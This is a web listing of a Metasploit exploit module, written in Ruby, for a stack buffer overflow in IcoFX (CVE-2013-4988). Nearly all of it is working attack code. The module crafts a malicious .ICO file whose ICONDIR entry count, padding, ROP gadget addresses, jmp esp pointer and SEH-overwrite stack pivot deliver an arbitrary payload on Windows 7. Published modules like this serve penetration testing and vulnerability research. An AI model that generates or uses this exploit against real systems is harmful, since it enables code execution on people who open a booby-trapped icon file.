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IcoFX Stack Buffer Overflow

IcoFX Stack Buffer Overflow
Posted Jan 3, 2014
Authored by juan vazquez, Marcos Accossatto | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow vulnerability in version 2.1 of IcoFX. The vulnerability exists while parsing .ICO files, where an specially crafted ICONDIR header, providing an arbitrary long number of images into the file, can be used to trigger the overflow when reading the ICONDIRENTRY structures.

tags | exploit, overflow, arbitrary
advisories | CVE-2013-4988
MD5 | c41604f40177228cb8f9b576bf050739

IcoFX Stack Buffer Overflow

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##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'IcoFX Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in version 2.1
of IcoFX. The vulnerability exists while parsing .ICO files, where an specially
crafted ICONDIR header, providing an arbitrary long number of images into the file,
can be used to trigger the overflow when reading the ICONDIRENTRY structures.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Marcos Accossatto', # Vulnerability discovery, poc
'juan vazquez' # Metasploit
],
'References' =>
[
[ 'CVE', '2013-4988' ],
[ 'OSVDB', '100826' ],
[ 'BID', '64221' ],
[ 'EDB', '30208'],
[ 'URL', 'http://www.coresecurity.com/advisories/icofx-buffer-overflow-vulnerability' ]
],
'Platform' => [ 'win' ],
'Payload' =>
{
'DisableNops' => true,
'Space' => 864,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'Targets' =>
[
[ 'IcoFX 2.5 / Windows 7 SP1',
{
:callback => :target_win7,
}
],
],
'DisclosureDate' => 'Dec 10 2013',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.ico'])
], self.class)

end

def target_win7
# All the gadgets com from IcoFX2.exe 2.5.0.0

# ICONDIR structure
ico = [0].pack("v") # Reserved. Must always be 0
ico << [1].pack("v") # Image type: 1 for icon (.ico) image
# 0x66 is enough to overwrite the local variables and, finally
# the seh handler. 0x7f00 is used to trigger an exception after
# the overflow, while the overwritten SEH handler is in use.
ico << [0x7f00].pack("v")
# ICONDIRENTRY structures 102 structures are using to overwrite
# every structure = 16 bytes
# 100 structures are used to reach the local variables
ico << rand_text(652)
ico << [0x0044729d].pack("V") * 20 # ret # rop nops are used to allow code execution with the different opening methods
ico << [0x0045cc21].pack("V") # jmp esp
ico << payload.encoded
ico << rand_text(
1600 - # 1600 = 16 ICONDIRENTRY struct size * 100
652 - # padding to align the stack pivot
80 - # rop nops size
4 - # jmp esp pointer size
payload.encoded.length
)
# The next ICONDIRENTRY allows to overwrite the interesting local variables
# on the stack
ico << [2].pack("V") # Counter (remaining bytes) saved on the stack
ico << rand_text(8) # Padding
ico << [0xfffffffe].pack("V") # Index to the dst buffer saved on the stack, allows to point to the SEH handler
# The next ICONDIRENTRY allows to overwrite the seh handler
ico << [0x00447296].pack("V") # Stackpivot: add esp, 0x800 # pop ebx # ret
ico << rand_text(0xc) # padding
return ico
end

def exploit
unless self.respond_to?(target[:callback])
fail_with(Failure::BadConfig, "Invalid target specified: no callback function defined")
end

ico = self.send(target[:callback])

print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(ico)
end

end

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